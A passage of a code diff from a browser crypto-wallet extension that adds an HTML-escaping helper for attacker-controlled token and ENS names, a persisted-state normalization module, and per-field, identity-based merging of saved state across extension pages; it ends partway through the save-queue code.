@@ -48,11 +48,11 @@ async function resolveEnsName(address, rpcUrl) {
     }
 }
 
-async function resolveEnsNames(addresses, rpcUrl) {
+async function resolveEnsNames(addresses, rpcUrl, networkId) {
     const results = new Map();
     await Promise.all(
         addresses.map(async (addr) => {
-            results.set(addr, await resolveEnsName(addr, rpcUrl));
+            results.set(addr, await resolveEnsName(addr, rpcUrl, networkId));
         }),
     );
     return results;

src/shared/html.js

@@ -0,0 +1,41 @@
+// HTML escaping for values interpolated into an innerHTML string.
+//
+// Every view in src/popup/views/ builds markup by string concatenation, so
+// this is the only thing standing between a value the wallet did not author
+// and the extension's own DOM. The values that reach it are attacker
+// controlled by design: an ERC-20's symbol() and name() are whatever the
+// contract chooses to return, an ENS name is whatever the resolver returns,
+// and both arrive through the block explorer with no schema.
+//
+// It escapes both quote characters as well as the tag delimiters, because
+// the popup interpolates into attribute values as well as into element
+// text — copyableHtml() writes data-copy="..." and etherscanLinkHtml()
+// writes href="...". A `<`/`>`-only escape leaves an unquoted-attribute
+// break-out intact, and the round trip through a detached element's
+// textContent that used to implement this was exactly that escape: the
+// HTML serializer only escapes `&`, `<`, `>` and U+00A0 in a text node,
+// since a text node has no idea it is about to be pasted inside quotes.
+//
+// Deliberately a pure string function with no DOM dependency: it is called
+// on every rendered row, it is unit-testable without a document, and it
+// cannot be affected by the state of a document that an attacker-supplied
+// string has already been written into.
+
+const HTML_ESCAPES = {
+    "&": "&amp;",
+    "<": "&lt;",
+    ">": "&gt;",
+    '"': "&quot;",
+    "'": "&#39;",
+};
+
+// `&` is escaped first by virtue of being in the same pass: a sequential
+// replace would re-escape the ampersands it had just introduced.
+function escapeHtml(s) {
+    if (s === null || s === undefined) return "";
+    return String(s).replace(/[&<>"']/g, (c) => HTML_ESCAPES[c]);
+}
+
+module.exports = {
+    escapeHtml,
+};

src/shared/persistedState.js

@@ -0,0 +1,204 @@
+// The shape of the persisted profile, and the normalization every read of it
+// goes through. No singleton, no storage access, no browser API: just the
+// record definition and pure functions over it.
+//
+// Split out of state.js so that a context which must never touch the
+// module-level `state` singleton can still speak the same record format.
+// src/background/state.js is that context — the MV3 service worker never
+// populates the singleton, and every defect in
+// https://git.eeqj.de/sneak/AutistMask/issues/324 came from background code
+// reaching it anyway and being served DEFAULT_STATE.
+
+const { DEFAULT_RPC_URL, DEFAULT_BLOCKSCOUT_URL } = require("./constants");
+// Dependency-free constant module; safe to pull into a background bundle.
+const { RESTORABLE_VIEWS } = require("../popup/restorableViews");
+
+const DEFAULT_STATE = {
+    hasWallet: false,
+    wallets: [],
+    trackedTokens: [],
+    networkId: "mainnet",
+    rpcUrl: DEFAULT_RPC_URL,
+    blockscoutUrl: DEFAULT_BLOCKSCOUT_URL,
+    // Endpoints remembered per network: { [networkId]: { rpcUrl,
+    // blockscoutUrl } }. rpcUrl/blockscoutUrl above are the live endpoints
+    // of the active network; this is what the others are restored from
+    // when the active network changes. See applyChainSwitchFields().
+    networkEndpoints: {},
+    lastBalanceRefresh: 0,
+    activeAddress: null,
+    allowedSites: {},
+    deniedSites: {},
+    rememberSiteChoice: true,
+    showZeroBalanceTokens: true,
+    hideSpoofedSymbols: true,
+    hideLowHolderTokens: true,
+    hideFraudContracts: true,
+    hideDustTransactions: true,
+    dustThresholdGwei: 100000,
+    utcTimestamps: false,
+    fraudContracts: [],
+    tokenHolderCache: {},
+    theme: "system",
+    debugMode: false,
+};
+
+// Every field written to and read from the single "autistmask" storage key.
+// hasWallet is deliberately excluded from the diffing/merge logic in
+// state.js — like loadState() does, it is always derived from `wallets`,
+// never carried as an independent value.
+const PERSISTED_FIELDS = Object.keys(DEFAULT_STATE)
+    .filter((key) => key !== "hasWallet")
+    .concat([
+        "currentView",
+        "selectedWallet",
+        "selectedAddress",
+        "selectedToken",
+        "viewData",
+        "viewStack",
+    ]);
+
+// Keep only the leading run of stored views the popup is willing to render.
+//
+// restoreView() refuses to reopen ONTO a non-restorable view, but the stack
+// behind it used to be restored verbatim, so Back could walk onto a screen
+// whose content is deliberately never re-rendered — and "show-phrase" has no
+// Back control to leave by. Truncating at the first such entry instead of
+// splicing it out keeps the result a prefix of the stored stack, so every
+// surviving entry's Back target is exactly the one it had; splicing would
+// silently re-point the entry above the hole at a different screen.
+//
+// Filtering happens here on load rather than in saveState(): the live
+// in-session stack is legitimate (the screen really is rendered while the
+// popup is open), and only a load-side filter also repairs the stacks
+// already in storage, including ones written before a view left the set.
+function restorableStack(stored, currentView) {
+    // A stored stack that is missing or not an array keeps nothing, but it
+    // still goes through the never-empty rule below rather than returning
+    // early: otherwise a corrupt stack would depend on exactly the goBack()
+    // fallback that the explicit ["main"] exists in order not to depend on.
+    const source = Array.isArray(stored) ? stored : [];
+    const cut = source.findIndex((view) => !RESTORABLE_VIEWS.has(view));
+    const kept = cut === -1 ? source.slice() : source.slice(0, cut);
+    // A view restored below the root still needs somewhere for Back to go.
+    if (
+        kept.length === 0 &&
+        currentView !== "main" &&
+        RESTORABLE_VIEWS.has(currentView)
+    ) {
+        return ["main"];
+    }
+    return kept;
+}
+
+// Turn a raw stored (or missing) record into the full, defaulted shape
+// loadState() used to assign directly onto `state`. A pure function so that
+// saveState() can apply it too: the fields THIS page did not change still have
+// to come from storage in their loaded-and-normalized form, not as the raw
+// bytes another page (or an old release) left there — otherwise a legacy shape
+// a load has always self-healed in memory (a missing networkEndpoints map, an
+// out-of-range flag) is dropped right back into storage unfixed every time the
+// page that DID normalize it saves something unrelated, because that field's
+// value never "changed" for that page to notice.
+//
+// The result never shares structure with `saved`, so a caller may mutate it
+// freely: it is the detached record every per-call read in the background is
+// built on.
+function normalizePersisted(saved) {
+    saved = saved || {};
+    const out = {};
+    out.wallets = structuredClone(saved.wallets || []);
+    // Derived, never trusted verbatim off storage — see loadState().
+    out.hasWallet = out.wallets.length > 0;
+    out.trackedTokens = structuredClone(saved.trackedTokens || []);
+    out.networkId = saved.networkId || DEFAULT_STATE.networkId;
+    out.rpcUrl = saved.rpcUrl || DEFAULT_STATE.rpcUrl;
+    out.blockscoutUrl = saved.blockscoutUrl || DEFAULT_STATE.blockscoutUrl;
+    // An actual object is required, not merely a truthy non-array: the code
+    // below and applyChainSwitchFields() index and ASSIGN INTO this value, and
+    // assigning a property to a string or a number is a silent no-op in
+    // sloppy mode. Copied rather than referenced, nested pairs included, so
+    // normalizing never mutates the object a caller handed in.
+    const rawEndpoints =
+        typeof saved.networkEndpoints === "object" &&
+        saved.networkEndpoints !== null &&
+        !Array.isArray(saved.networkEndpoints)
+            ? saved.networkEndpoints
+            : {};
+    out.networkEndpoints = {};
+    for (const netId of Object.keys(rawEndpoints)) {
+        out.networkEndpoints[netId] = { ...rawEndpoints[netId] };
+    }
+    // A profile written before this map existed carries exactly one pair of
+    // endpoints, belonging to whatever network it was last on. Adopt it as
+    // that network's remembered pair, so a custom endpoint set on the old
+    // build is not lost by the first switch away and back.
+    if (!out.networkEndpoints[out.networkId]) {
+        out.networkEndpoints[out.networkId] = {
+            rpcUrl: out.rpcUrl,
+            blockscoutUrl: out.blockscoutUrl,
+        };
+    }
+    out.lastBalanceRefresh = saved.lastBalanceRefresh || 0;
+    out.activeAddress = saved.activeAddress || null;
+    out.allowedSites =
+        saved.allowedSites && !Array.isArray(saved.allowedSites)
+            ? structuredClone(saved.allowedSites)
+            : {};
+    out.deniedSites =
+        saved.deniedSites && !Array.isArray(saved.deniedSites)
+            ? structuredClone(saved.deniedSites)
+            : {};
+    out.rememberSiteChoice =
+        saved.rememberSiteChoice !== undefined
+            ? saved.rememberSiteChoice
+            : true;
+    out.showZeroBalanceTokens =
+        saved.showZeroBalanceTokens !== undefined
+            ? saved.showZeroBalanceTokens
+            : true;
+    // A profile written before this setting existed has no key for it. It
+    // is a safety filter, so absent must load as on, not as undefined.
+    out.hideSpoofedSymbols =
+        saved.hideSpoofedSymbols !== undefined
+            ? saved.hideSpoofedSymbols
+            : true;
+    out.hideLowHolderTokens =
+        saved.hideLowHolderTokens !== undefined
+            ? saved.hideLowHolderTokens
+            : true;
+    out.hideFraudContracts =
+        saved.hideFraudContracts !== undefined
+            ? saved.hideFraudContracts
+            : true;
+    out.hideDustTransactions =
+        saved.hideDustTransactions !== undefined
+            ? saved.hideDustTransactions
+            : true;
+    out.dustThresholdGwei =
+        saved.dustThresholdGwei !== undefined
+            ? saved.dustThresholdGwei
+            : 100000;
+    out.utcTimestamps =
+        saved.utcTimestamps !== undefined ? saved.utcTimestamps : false;
+    out.fraudContracts = structuredClone(saved.fraudContracts || []);
+    out.tokenHolderCache = structuredClone(saved.tokenHolderCache || {});
+    out.theme = saved.theme || "system";
+    out.debugMode = saved.debugMode !== undefined ? saved.debugMode : false;
+    out.currentView = saved.currentView || null;
+    out.selectedWallet =
+        saved.selectedWallet !== undefined ? saved.selectedWallet : null;
+    out.selectedAddress =
+        saved.selectedAddress !== undefined ? saved.selectedAddress : null;
+    out.selectedToken = saved.selectedToken || null;
+    out.viewData = structuredClone(saved.viewData || {});
+    out.viewStack = restorableStack(saved.viewStack, out.currentView);
+    return out;
+}
+
+module.exports = {
+    DEFAULT_STATE,
+    PERSISTED_FIELDS,
+    normalizePersisted,
+    restorableStack,
+};

src/shared/state.js

@@ -1,45 +1,36 @@
 // State management and extension storage persistence.
+//
+// The `state` export is a module-level singleton: ONE in-memory copy of the
+// profile per bundle, loaded once by loadState() and mutated in place from
+// then on. That is the popup's model — one page, one load at boot, one
+// lifetime.
+//
+// It is NOT the background's model, and the background must not reach it. The
+// MV3 service worker is torn down when idle and revived by the next message,
+// nothing loads state at module scope, and an unpopulated read used to hand
+// back DEFAULT_STATE with no complaint — five defects came out of that one
+// fact (https://git.eeqj.de/sneak/AutistMask/issues/324). Two things close it:
+// this module is unreachable from the background bundle (enforced by the
+// ESLint rule in eslint.config.js, and by the background having its own
+// per-call storage layer in src/background/state.js), and reading a persisted
+// field of the singleton before a load now THROWS instead of quietly serving
+// a default.
 
-const { DEFAULT_RPC_URL, DEFAULT_BLOCKSCOUT_URL } = require("./constants");
 const { networkById } = require("./networks");
-// Dependency-free constant module; safe to pull into a background bundle.
-const { RESTORABLE_VIEWS } = require("../popup/restorableViews");
+const {
+    DEFAULT_STATE,
+    PERSISTED_FIELDS,
+    normalizePersisted,
+} = require("./persistedState");
 
 const { storageGet, storageSet } = require("./browserApi");
+const { log } = require("./log");
 
-const DEFAULT_STATE = {
-    hasWallet: false,
-    wallets: [],
-    trackedTokens: [],
-    networkId: "mainnet",
-    rpcUrl: DEFAULT_RPC_URL,
-    blockscoutUrl: DEFAULT_BLOCKSCOUT_URL,
-    // Endpoints remembered per network: { [networkId]: { rpcUrl,
-    // blockscoutUrl } }. rpcUrl/blockscoutUrl above are the live endpoints
-    // of the active network; this is what the others are restored from
-    // when the active network changes. See onChainSwitch().
-    networkEndpoints: {},
-    lastBalanceRefresh: 0,
-    activeAddress: null,
-    allowedSites: {},
-    deniedSites: {},
-    rememberSiteChoice: true,
-    showZeroBalanceTokens: true,
-    hideSpoofedSymbols: true,
-    hideLowHolderTokens: true,
-    hideFraudContracts: true,
-    hideDustTransactions: true,
-    dustThresholdGwei: 100000,
-    utcTimestamps: false,
-    fraudContracts: [],
-    tokenHolderCache: {},
-    theme: "system",
-    debugMode: false,
-};
-
-const state = {
+// The live record the proxy below guards. Everything inside this module reads
+// and writes THIS object, never the proxy: the guard is for callers.
+const rawState = {
     ...DEFAULT_STATE,
-    // Its own object, not the one DEFAULT_STATE holds: onChainSwitch()
+    // Its own object, not the one DEFAULT_STATE holds: applyChainSwitchFields()
     // mutates this map in place, and a spread copies the reference.
     networkEndpoints: {},
     currentView: null,
@@ -50,175 +41,486 @@ const state = {
     viewStack: [],
 };
 
-// Keep only the leading run of stored views the popup is willing to render.
+// False until loadState() has completed in this bundle. Until then, a
+// persisted field that has not been assigned in this context cannot be READ:
+// see StateNotLoadedError.
+let loaded = false;
+
+// True once this context has assigned anything into the singleton.
 //
-// restoreView() refuses to reopen ONTO a non-restorable view, but the stack
-// behind it used to be restored verbatim, so Back could walk onto a screen
-// whose content is deliberately never re-rendered — and "show-phrase" has no
-// Back control to leave by. Truncating at the first such entry instead of
-// splicing it out keeps the result a prefix of the stored stack, so every
-// surviving entry's Back target is exactly the one it had; splicing would
-// silently re-point the entry above the hole at a different screen.
+// What the guard is for is a context that READS a profile nobody put there —
+// every one of the five defects was a pure read of an untouched singleton,
+// answered out of DEFAULT_STATE. A context that has written into it is
+// managing it deliberately (the popup does, via loadState() at boot and by
+// hand thereafter), and reading back what you yourself put there is not the
+// mistake being caught.
 //
-// Filtering happens here on load rather than in saveState(): the live
-// in-session stack is legitimate (the screen really is rendered while the
-// popup is open), and only a load-side filter also repairs the stacks
-// already in storage, including ones written before a view left the set.
-function restorableStack(stored, currentView) {
-    // A stored stack that is missing or not an array keeps nothing, but it
-    // still goes through the never-empty rule below rather than returning
-    // early: otherwise a corrupt stack would depend on exactly the goBack()
-    // fallback that the explicit ["main"] exists in order not to depend on.
-    const source = Array.isArray(stored) ? stored : [];
-    const cut = source.findIndex((view) => !RESTORABLE_VIEWS.has(view));
-    const kept = cut === -1 ? source.slice() : source.slice(0, cut);
-    // A view restored below the root still needs somewhere for Back to go.
-    if (
-        kept.length === 0 &&
-        currentView !== "main" &&
-        RESTORABLE_VIEWS.has(currentView)
-    ) {
-        return ["main"];
+// The cost of that is honest and worth naming: a context that writes one field
+// and then reads a different, untouched one is still served that field's
+// default. Nothing closes that here — what closes it for the background is
+// that the background cannot reach this module at all (eslint.config.js).
+let adopted = false;
+
+// Every field whose pre-load value would be a plausible-looking default rather
+// than the user's data. The view scratch fields are guarded too: currentView
+// and viewStack are persisted, and a save that carried their pre-load values
+// would overwrite a real stored stack with an empty one.
+const GUARDED_FIELDS = new Set(PERSISTED_FIELDS.concat(["hasWallet"]));
+
+class StateNotLoadedError extends Error {
+    constructor(field) {
+        super(
+            "state." +
+                field +
+                " was read before loadState(); this context has no profile" +
+                " loaded and must not be served DEFAULT_STATE",
+        );
+        this.name = "StateNotLoadedError";
     }
-    return kept;
 }
 
+// Loud, not defaulted. The whole defect class this guard closes looks exactly
+// like working code at the call site: the read succeeds, the value is
+// well-formed, and it describes a wallet that is not the user's.
+const state = new Proxy(rawState, {
+    get(target, prop, receiver) {
+        if (
+            !loaded &&
+            !adopted &&
+            typeof prop === "string" &&
+            GUARDED_FIELDS.has(prop)
+        ) {
+            throw new StateNotLoadedError(prop);
+        }
+        return Reflect.get(target, prop, receiver);
+    },
+    set(target, prop, value, receiver) {
+        if (typeof prop === "string" && GUARDED_FIELDS.has(prop)) {
+            adopted = true;
+        }
+        return Reflect.set(target, prop, value, receiver);
+    },
+});
+
 // Return the network configuration for the currently selected network.
 function currentNetwork() {
     return networkById(state.networkId);
 }
 
-async function saveState() {
-    const persisted = {
-        hasWallet: state.hasWallet,
-        wallets: state.wallets,
-        trackedTokens: state.trackedTokens,
-        networkId: state.networkId,
-        rpcUrl: state.rpcUrl,
-        blockscoutUrl: state.blockscoutUrl,
-        networkEndpoints: state.networkEndpoints,
-        lastBalanceRefresh: state.lastBalanceRefresh,
-        activeAddress: state.activeAddress,
-        allowedSites: state.allowedSites,
-        deniedSites: state.deniedSites,
-        rememberSiteChoice: state.rememberSiteChoice,
-        showZeroBalanceTokens: state.showZeroBalanceTokens,
-        hideSpoofedSymbols: state.hideSpoofedSymbols,
-        hideLowHolderTokens: state.hideLowHolderTokens,
-        hideFraudContracts: state.hideFraudContracts,
-        hideDustTransactions: state.hideDustTransactions,
-        dustThresholdGwei: state.dustThresholdGwei,
-        utcTimestamps: state.utcTimestamps,
-        fraudContracts: state.fraudContracts,
-        tokenHolderCache: state.tokenHolderCache,
-        theme: state.theme,
-        debugMode: state.debugMode,
-        currentView: state.currentView,
-        selectedWallet: state.selectedWallet,
-        selectedAddress: state.selectedAddress,
-        selectedToken: state.selectedToken,
-        viewData: state.viewData,
-        viewStack: state.viewStack,
-    };
-    await storageSet({ autistmask: persisted });
+// The persisted fields as they stood at the end of this page's last
+// loadState() or saveState(). saveState() diffs the live state against this
+// to find only the fields THIS page actually changed.
+//
+// Deep-cloned, not a reference: callers mutate persisted objects and arrays
+// in place (state.wallets.push(...)), and a reference baseline would mutate
+// right along with `state`, so the diff would always come out empty.
+let baseline = null;
+
+function snapshotPersisted() {
+    const out = {};
+    for (const key of PERSISTED_FIELDS) out[key] = rawState[key];
+    return out;
+}
+
+function deepEqual(a, b) {
+    if (a === b) return true;
+    if (typeof a !== "object" || typeof b !== "object") return false;
+    if (a === null || b === null) return false;
+    if (Array.isArray(a) !== Array.isArray(b)) return false;
+    const aKeys = Object.keys(a);
+    const bKeys = Object.keys(b);
+    if (aKeys.length !== bKeys.length) return false;
+    for (const key of aKeys) {
+        if (!Object.prototype.hasOwnProperty.call(b, key)) return false;
+        if (!deepEqual(a[key], b[key])) return false;
+    }
+    return true;
+}
+
+// Stable identity for a wallet, independent of its position in the array
+// (which shifts under a concurrent add/delete elsewhere) and independent of
+// its mutable fields (name is user-editable; addresses gains/loses entries
+// via scanning and deleteAddress.js). An "hd"/"xprv" wallet's xpub never
+// changes for its lifetime and is already enforced unique
+// (findWalletByXpub() in addWallet.js). A "key" wallet has no xpub, exactly
+// one address for its whole lifetime (nothing ever adds to or removes from
+// a key wallet's address list), and that address is already enforced
+// unique (findWalletByAddress()) — so it stands in for identity there.
+// Neither invariant is enforced by this function or by
+// mergeListByIdentity() below — they hold only because every wallet-
+// creation path in addWallet.js happens to populate one or the other before
+// the wallet ever reaches state.wallets, and because canRemoveAddress() in
+// walletDelete.js never lets a wallet's address list go to zero. A wallet
+// with neither (an empty/legacy/corrupt record) falls back to the same
+// "addr:" identity as every other such record, which is a genuine
+// collision, not a proxy for one — see the collision handling in
+// mergeListByIdentity().
+function walletIdentity(wallet) {
+    if (wallet.xpub) return "xpub:" + wallet.xpub;
+    const first = wallet.addresses && wallet.addresses[0];
+    return "addr:" + (first ? String(first.address).toLowerCase() : "");
+}
+
+// Stable identity for an address within one wallet's address list. An
+// address is unique within its wallet and, once derived or imported, never
+// changes — only whether it is present.
+function addressIdentity(addr) {
+    return String(addr.address).toLowerCase();
+}
+
+// Merge one array of identity-bearing objects (wallets, or the addresses
+// inside one wallet) by identity rather than by array index — an index
+// shifts under a concurrent insert/delete elsewhere, which would merge the
+// wrong pair of objects entirely.
+//
+// `theirs` (fresh storage) sets the membership baseline and the order:
+//   - An item this page never had baseline knowledge of, but that is in
+//     `theirs`, was added by someone else — kept as-is.
+//   - An item `base` had and `ours` no longer has was deleted by THIS page
+//     — dropped even though `theirs` still has it (this page's own delete
+//     must win over a background save that only touched leaf fields).
+//   - An item present in both `ours` and `theirs` is merged leaf-by-leaf via
+//     `mergeItem`, so a leaf this page changed (e.g. a renamed wallet) lands
+//     on top of `theirs`' otherwise-current copy (e.g. a refreshed balance).
+// Anything left in `ours` that `base` never had and `theirs` does not have
+// yet is this page's own new addition — appended.
+//
+// `identityOf` is not guaranteed collision-free (walletIdentity() falls
+// back to one shared "addr:" value for any wallet with neither an xpub nor
+// a populated first address). Two records that collide under it must never
+// silently collapse into one — that is exactly how this function used to
+// drop a wallet, encryptedSecret included, with no error and no log. Two
+// defenses:
+//   - `ours` is indexed into GROUPS, not a single item per identity, so two
+//     colliding live items on this page can't overwrite each other in the
+//     index before the merge below even runs.
+//   - A matched pair with no shared `base` entry (neither page ever agreed
+//     on this identity) is only merged leaf-by-leaf when the two sides are
+//     already equal. If they differ, that is not "the same record edited
+//     twice", it is two different records that happen to share an identity
+//     — both are kept, unmerged, rather than guessing which one is real.
+function mergeListByIdentity(base, ours, theirs, identityOf, mergeItem) {
+    base = base || [];
+    ours = ours || [];
+    theirs = theirs || [];
+    const baseIndex = new Map(base.map((item) => [identityOf(item), item]));
+    const oursIndex = new Map();
+    for (const item of ours) {
+        const id = identityOf(item);
+        if (!oursIndex.has(id)) oursIndex.set(id, []);
+        oursIndex.get(id).push(item);
+    }
+
+    const result = [];
+    const seen = new Set();
+
+    for (const theirItem of theirs) {
+        const id = identityOf(theirItem);
+        seen.add(id);
+        const oursGroup = oursIndex.get(id);
+        if (baseIndex.has(id) && !oursGroup) continue;
+        if (oursGroup) {
+            const baseItem = baseIndex.get(id);
+            if (!baseItem && !deepEqual(oursGroup[0], theirItem)) {
+                log.errorf(
+                    "state: identity collision merging",
+                    JSON.stringify(id),
+                    "- keeping both records instead of dropping one",
+                );
+                result.push(theirItem, ...oursGroup);
+            } else {
+                result.push(mergeItem(baseItem, oursGroup[0], theirItem));
+                for (let i = 1; i < oursGroup.length; i++) {
+                    result.push(oursGroup[i]);
+                }
+            }
+        } else {
+            result.push(theirItem);
+        }
+    }
+
+    for (const item of ours) {
+        const id = identityOf(item);
+        if (seen.has(id)) continue;
+        if (!baseIndex.has(id)) result.push(item);
+    }
+
+    return result;
+}
+
+// Merge one wallet's scalar/leaf fields (name, encryptedSecret, nextIndex,
+// ...) against base, then recurse into its address list by identity. `base`
+// is null when this page created the wallet itself and no other page has
+// (yet) produced a same-identity record — nothing to merge in that case,
+// this page's own copy wins outright. mergeListByIdentity() only ever calls
+// this with `!base` when `ours` and `theirs` are already equal (a genuine
+// collision between two DIFFERENT same-identity records is caught and kept
+// as two separate entries before this function is reached), so returning
+// `ours` here can't discard a different wallet's data.
+function mergeWallet(base, ours, theirs) {
+    if (!base) return ours;
+    const merged = { ...theirs };
+    for (const key of Object.keys(ours)) {
+        if (key === "addresses") continue;
+        if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
+    }
+    merged.addresses = mergeListByIdentity(
+        base.addresses,
+        ours.addresses,
+        theirs.addresses,
+        addressIdentity,
+        mergeAddress,
+    );
+    return merged;
+}
+
+// Merge one address's leaf fields (balance, ensName, tokenBalances, ...).
+// tokenBalances is itself an array, but only a balance refresh ever writes
+// it and always wholesale (refreshBalances() in src/shared/balances.js), so
+// there is no membership to reconcile within it — it is a leaf like balance
+// or ensName, not a list with its own identity.
+function mergeAddress(base, ours, theirs) {
+    if (!base) return ours;
+    const merged = { ...theirs };
+    for (const key of Object.keys(ours)) {
+        if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
+    }
+    return merged;
+}
+
+// Merge a plain object keyed by string (allowedSites/deniedSites: address ->
+// hostname list; networkEndpoints: networkId -> {rpcUrl, blockscoutUrl}) the
+// same way mergeListByIdentity() merges an array — by key, not by whole-
+// object diff — so a key one page added or removed applies independently of
+// a key another page edited. Unlike an array's identity function, an object
+// key can't collide with a different logical entry (Object.keys() is
+// already deduplicated), so this needs no collision floor of its own.
+function mergeMapByKey(base, ours, theirs, mergeLeaf) {
+    base = base || {};
+    ours = ours || {};
+    theirs = theirs || {};
+    const result = {};
+    const seen = new Set();
+
+    for (const key of Object.keys(theirs)) {
+        seen.add(key);
+        const inBase = Object.prototype.hasOwnProperty.call(base, key);
+        const inOurs = Object.prototype.hasOwnProperty.call(ours, key);
+        if (inBase && !inOurs) continue; // this page deleted the whole entry
+        if (inOurs) {
+            result[key] = mergeLeaf(base[key], ours[key], theirs[key]);
+        } else {
+            result[key] = theirs[key];
+        }
+    }
+
+    for (const key of Object.keys(ours)) {
+        if (seen.has(key)) continue;
+        if (!Object.prototype.hasOwnProperty.call(base, key)) {
+            result[key] = ours[key];
+        }
+    }
+
+    return result;
+}
+
+// allowedSites/deniedSites: { [address]: [hostname, ...] }. The hostname
+// list is itself membership, not a leaf — the background appends a newly
+// approved/denied hostname to it, and the Settings "revoke" button
+// (src/popup/views/settings.js) filters a hostname out of it in place, from a
+// different page. Merge it the same way wallets are merged: identity is the
+// hostname itself, so a merged pair is always equal and mergeItem is a no-op
+// pick.
+function mergeHostnameList(base, ours, theirs) {
+    return mergeListByIdentity(
+        base,
+        ours,
+        theirs,
+        (hostname) => hostname,
+        (b, o, t) => t,
+    );
+}
+
+function mergeSiteMap(base, ours, theirs) {
+    return mergeMapByKey(base, ours, theirs, mergeHostnameList);
+}
+
+// networkEndpoints: { [networkId]: {rpcUrl, blockscoutUrl} }.
+// applyChainSwitchFields() (src/shared/chainSwitchFields.js) writes
+// networkEndpoints[networkId] in place before saving. No code path ever
+// removes a key from this map, so the membership collision that matters for
+// allowedSites/wallets (an add on one page racing a delete on another) can't
+// happen here — but two pages switching to two different networks
+// concurrently still race a whole-field diff the same way, so it gets the same
+// per-key merge for the leaf edit case (e.g. Settings saving a custom RPC URL
+// for the active network).
+function mergeEndpointEntry(base, ours, theirs) {
+    if (!base) return ours;
+    const merged = { ...theirs };
+    for (const key of Object.keys(ours)) {
+        if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
+    }
+    return merged;
+}
+
+function mergeNetworkEndpoints(base, ours, theirs) {
+    return mergeMapByKey(base, ours, theirs, mergeEndpointEntry);
+}
+
+// Read-modify-write, merged per field, rather than one full-blob write.
+//
+// Every extension page (the toolbar popup, a dApp approval window) holds its
+// own in-memory `state`, loaded once, and showView() saves on every
+// navigation. A full-blob write here clobbers whatever a second page had
+// written since — including, in the worst case, an entire wallet and its
+// encrypted secret with no attacker and no unusual input (see the issue this
+// fixes).
+//
+// Only the fields this page actually changed — those that differ from
+// `baseline`, captured at the last loadState()/saveState() on this page —
+// are written; every other field is carried forward from whatever is in
+// storage right now, which may already be a value another page wrote.
+//
+// `wallets` is merged structurally (mergeListByIdentity(), by wallet
+// identity and then by address identity within each wallet), not as one
+// whole field: a balance refresh mutates wallets IN PLACE (addr.balance /
+// ensName / tokenBalances, via refreshBalances()), so a whole-field diff
+// would mark all of `wallets` "changed" the moment any balance moved and
+// write back that page's own copy — loaded before its multi-second network
+// round trip — clobbering a wallet another page added, or resurrecting one
+// another page deleted, in that window. Merging by identity lets the leaf
+// changes and another page's membership changes (add/delete a wallet or an
+// address) apply independently instead of colliding as the same field.
+//
+// `allowedSites` and `deniedSites` get the same treatment (mergeSiteMap(),
+// by address key and then by hostname within each address's list), for the
+// identical reason: the background appends a newly approved/denied hostname
+// to them, and the Settings "revoke" button (src/popup/views/settings.js)
+// filters one out in place, from a different page. A whole-field diff here
+// doesn't just lose data, it is a security defect — a stale page's save can
+// resurrect a just-revoked site permission, or silently wipe a permission just
+// granted elsewhere.
+//
+// `networkEndpoints` gets the same treatment too (mergeNetworkEndpoints(),
+// by network id), since applyChainSwitchFields() writes into it in place; the
+// value per key is a small leaf object with no membership of its own; see the
+// comment at mergeEndpointEntry() for why the collision this closes is
+// milder than the other two.
+//
+// Every other persisted field stays a whole-field diff:
+// `trackedTokens`/`fraudContracts`/`viewStack` are arrays of scalars with no
+// per-element identity to merge by; `tokenHolderCache` is a map shaped like
+// the ones above, but nothing in src/ ever writes an entry into it — it is
+// only ever reset wholesale to `{}` (applyChainSwitchFields()) — so there is
+// no in-place mutation for a whole-field diff to collide with; `viewData` is
+// this page's own UI scratch space, not data another page has any reason to
+// share membership of.
+//
+// This does not make two pages that both change the SAME leaf concurrently
+// safe: last write wins on that one leaf, same as before. What it removes
+// is the cross-field (and now cross-membership-vs-leaf) clobber — a page
+// that only navigated, or only refreshed a balance, overwriting a wallet or
+// address list it never touched the membership of.
+//
+// This page's own live `state` is deliberately NOT rehydrated from a field
+// another page changed — only the record written to storage is merged.
+// showView() fires saveState() on every navigation without awaiting it,
+// which is what makes the queue above necessary in the first place, and a
+// save that is slow to come back has no way to tell whether the field it
+// is about to hand back is still the current answer or has since been
+// overtaken by something this very page did in the meantime; writing it
+// into `state` regardless reintroduced exactly the clobber this function
+// exists to remove, just delayed and confined to one page instead of two
+// (caught by tests/txStatus.test.js). A page's live picture of a field it
+// does not own goes on being whatever its last loadState() saw, same as
+// before this fix; only the persisted record is guaranteed current.
+async function saveStateOnce() {
+    const current = snapshotPersisted();
+    const result = await storageGet("autistmask");
+    // Normalized, not raw: a field this page did not change still has to
+    // come from storage in its loaded (self-healed) shape. See
+    // normalizePersisted() in persistedState.js.
+    const fresh = normalizePersisted(result.autistmask);
+
+    const merged = { ...fresh };
+    for (const key of PERSISTED_FIELDS) {
+        if (key === "wallets") {
+            merged.wallets = mergeListByIdentity(
+                baseline ? baseline.wallets : [],
+                current.wallets,
+                fresh.wallets,
+                walletIdentity,
+                mergeWallet,
+            );
+        } else if (key === "allowedSites" || key === "deniedSites") {
+            merged[key] = mergeSiteMap(
+                baseline ? baseline[key] : {},
+                current[key],
+                fresh[key],
+            );
+        } else if (key === "networkEndpoints") {
+            merged.networkEndpoints = mergeNetworkEndpoints(
+                baseline ? baseline.networkEndpoints : {},
+                current.networkEndpoints,
+                fresh.networkEndpoints,
+            );
+        } else if (
+            baseline === null ||
+            !deepEqual(current[key], baseline[key])
+        ) {
+            merged[key] = current[key];
+        }
+    }
+    merged.hasWallet = Boolean(merged.wallets && merged.wallets.length > 0);
+
+    await storageSet({ autistmask: merged });
+
+    // Derived from this page's own wallets, never adopted off the wire —
+    // see loadState(). Everything else this page did not change is left
+    // exactly as it stood; see the note above.
+    rawState.hasWallet = rawState.wallets.length > 0;
+
+    baseline = structuredClone(snapshotPersisted());
+}
+
+// showView() calls saveState() on every navigation without awaiting it, so
+// two saves from the SAME page can be in flight at once — e.g. a screen
+// shown, then immediately replaced before the first save's storageGet()
+// round trip has come back. Left concurrent, the first save's turn would
+// finish after the second's live-state mutation and then re-hydrate `state`
+// from what IT read, stomping the second, later change back to a stale
+// value — the same clobber this function exists to prevent, just between
+// two saves on one page instead of two pages. Queuing makes every save's
+// snapshot-diff-write-rehydrate run start to finish before the next one
+// begins, so each one only ever sees the true live state at its turn.
+let saveQueue = Promise.resolve();
+
+function saveState() {
+    const turn = saveQueue.then(saveStateOnce);
+    // The queue must advance even when a save rejects, or every save after
+    // it queues behind a promise that never settles.
